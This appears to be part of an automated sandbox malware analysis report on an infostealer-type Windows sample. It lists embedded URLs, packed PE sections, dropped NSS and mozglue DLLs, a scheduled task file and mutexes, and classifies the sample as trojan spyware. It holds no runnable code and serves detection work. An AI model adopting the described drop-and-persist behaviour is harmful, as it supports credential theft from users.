Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Wf9qnVcbi8.exe, 528307a0ac.exe.12.dr, random[1].exe.12.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: Wf9qnVcbi8.exe, 528307a0ac.exe.12.dr, random[1].exe.12.dr	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: Wf9qnVcbi8.exe, 528307a0ac.exe.12.dr, random[1].exe.12.dr	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: Wf9qnVcbi8.exe, 00000000.00000002.2212747709.000000001D305000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2226772721.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: AECAECFC.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: AECAECFC.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, AECAECFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, AECAECFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, AECAECFC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AECAECFC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, AECAECFC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AKJEGCFBGDHJJJJJKJEC.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001797000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, AECAECFC.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: AECAECFC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.0000000000676000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.0000000000676000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.0000000000676000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.0000000000676000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: Wf9qnVcbi8.exe, 00000000.00000003.2137149641.000000002F468000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Wf9qnVcbi8.exe, 00000000.00000003.2137149641.000000002F468000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: Wf9qnVcbi8.exe, 00000000.00000003.2137149641.000000002F468000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJECFCFCAA.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary

PE file contains section with special chars

Source: IDGHDGIDAK.exe.0.dr	Static PE information: section name:
Source: IDGHDGIDAK.exe.0.dr	Static PE information: section name: .idata
Source: IDGHDGIDAK.exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name: .idata
Source: explorti.exe.7.dr	Static PE information: section name:

PE file has nameless sections

Source: Wf9qnVcbi8.exe	Static PE information: section name:
Source: Wf9qnVcbi8.exe	Static PE information: section name:
Source: Wf9qnVcbi8.exe	Static PE information: section name:
Source: Wf9qnVcbi8.exe	Static PE information: section name:
Source: Wf9qnVcbi8.exe	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name:
Source: 528307a0ac.exe.12.dr	Static PE information: section name:
Source: 528307a0ac.exe.12.dr	Static PE information: section name:
Source: 528307a0ac.exe.12.dr	Static PE information: section name:
Source: 528307a0ac.exe.12.dr	Static PE information: section name:
Source: 528307a0ac.exe.12.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5AB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5AB700
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5AB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C5AB8C0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5AB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C5AB910
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C54F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C54F280

Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5435A0	0_2_6C5435A0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5B545C	0_2_6C5B545C
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C555440	0_2_6C555440
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C585C10	0_2_6C585C10
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C592C10	0_2_6C592C10
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5BAC00	0_2_6C5BAC00
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5B542B	0_2_6C5B542B
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C56D4D0	0_2_6C56D4D0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5564C0	0_2_6C5564C0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C586CF0	0_2_6C586CF0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C54D4E0	0_2_6C54D4E0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C556C80	0_2_6C556C80
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5A34A0	0_2_6C5A34A0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5AC4A0	0_2_6C5AC4A0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C570512	0_2_6C570512
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C56ED10	0_2_6C56ED10
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C55FD00	0_2_6C55FD00
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C580DD0	0_2_6C580DD0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5A85F0	0_2_6C5A85F0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C569E50	0_2_6C569E50
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C583E50	0_2_6C583E50
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C564640	0_2_6C564640
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C592E4E	0_2_6C592E4E
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C54C670	0_2_6C54C670
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5B6E63	0_2_6C5B6E63
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C587E10	0_2_6C587E10
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C595600	0_2_6C595600
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5A9E30	0_2_6C5A9E30
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C54BEF0	0_2_6C54BEF0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C55FEF0	0_2_6C55FEF0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5B76E3	0_2_6C5B76E3
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C565E90	0_2_6C565E90
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5AE680	0_2_6C5AE680
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5A4EA0	0_2_6C5A4EA0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C587710	0_2_6C587710
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C559F00	0_2_6C559F00
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C576FF0	0_2_6C576FF0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C54DFE0	0_2_6C54DFE0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5977A0	0_2_6C5977A0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C568850	0_2_6C568850
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C56D850	0_2_6C56D850
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C58F070	0_2_6C58F070
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C557810	0_2_6C557810
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C58B820	0_2_6C58B820
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C594820	0_2_6C594820
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5B50C7	0_2_6C5B50C7
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C56C0E0	0_2_6C56C0E0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5858E0	0_2_6C5858E0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5760A0	0_2_6C5760A0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C56A940	0_2_6C56A940
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C59B970	0_2_6C59B970
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5BB170	0_2_6C5BB170
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C55D960	0_2_6C55D960
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C585190	0_2_6C585190
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5A2990	0_2_6C5A2990
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C57D9B0	0_2_6C57D9B0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C54C9A0	0_2_6C54C9A0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C589A60	0_2_6C589A60
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C588AC0	0_2_6C588AC0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C561AF0	0_2_6C561AF0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C58E2F0	0_2_6C58E2F0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5BBA90	0_2_6C5BBA90
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C55CAB0	0_2_6C55CAB0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5B2AB0	0_2_6C5B2AB0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5422A0	0_2_6C5422A0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C574AA0	0_2_6C574AA0
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C545340	0_2_6C545340
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C55C370	0_2_6C55C370
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C58D320	0_2_6C58D320
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C5B53C8	0_2_6C5B53C8
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: 0_2_6C54F380	0_2_6C54F380
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_002FE410	12_2_002FE410
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_00333048	12_2_00333048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_002F4CD0	12_2_002F4CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_00327D63	12_2_00327D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_0033763B	12_2_0033763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_00341684	12_2_00341684
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_00336EE9	12_2_00336EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_002F4AD0	12_2_002F4AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_00338700	12_2_00338700
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_0033775B	12_2_0033775B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 12_2_00332BB0	12_2_00332BB0
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B0850	13_2_7F4B0850
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Code function: 13_2_7F4B0000	13_2_7F4B0000

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: String function: 6C5894D0 appears 90 times
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Code function: String function: 6C57CBE8 appears 134 times

Source: Wf9qnVcbi8.exe, 00000000.00000002.2227283252.000000006C7C5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs Wf9qnVcbi8.exe
Source: Wf9qnVcbi8.exe, 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs Wf9qnVcbi8.exe

Source: Wf9qnVcbi8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Wf9qnVcbi8.exe	Static PE information: Section: ZLIB complexity 0.9996903582317073
Source: Wf9qnVcbi8.exe	Static PE information: Section: ZLIB complexity 0.99505615234375
Source: Wf9qnVcbi8.exe	Static PE information: Section: ZLIB complexity 0.990234375
Source: IDGHDGIDAK.exe.0.dr	Static PE information: Section: ZLIB complexity 0.99822831284153
Source: IDGHDGIDAK.exe.0.dr	Static PE information: Section: lwthcuux ZLIB complexity 0.9949199969951923
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.99822831284153
Source: amadka[1].exe.0.dr	Static PE information: Section: lwthcuux ZLIB complexity 0.9949199969951923
Source: explorti.exe.7.dr	Static PE information: Section: ZLIB complexity 0.99822831284153
Source: explorti.exe.7.dr	Static PE information: Section: lwthcuux ZLIB complexity 0.9949199969951923
Source: random[1].exe.12.dr	Static PE information: Section: ZLIB complexity 0.9996903582317073
Source: random[1].exe.12.dr	Static PE information: Section: ZLIB complexity 0.99505615234375
Source: random[1].exe.12.dr	Static PE information: Section: ZLIB complexity 0.990234375
Source: 528307a0ac.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9996903582317073
Source: 528307a0ac.exe.12.dr	Static PE information: Section: ZLIB complexity 0.99505615234375
Source: 528307a0ac.exe.12.dr	Static PE information: Section: ZLIB complexity 0.990234375

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/30@0/3

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Code function: 0_2_6C5A7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C5A7030

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4456:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

File created: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe

Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
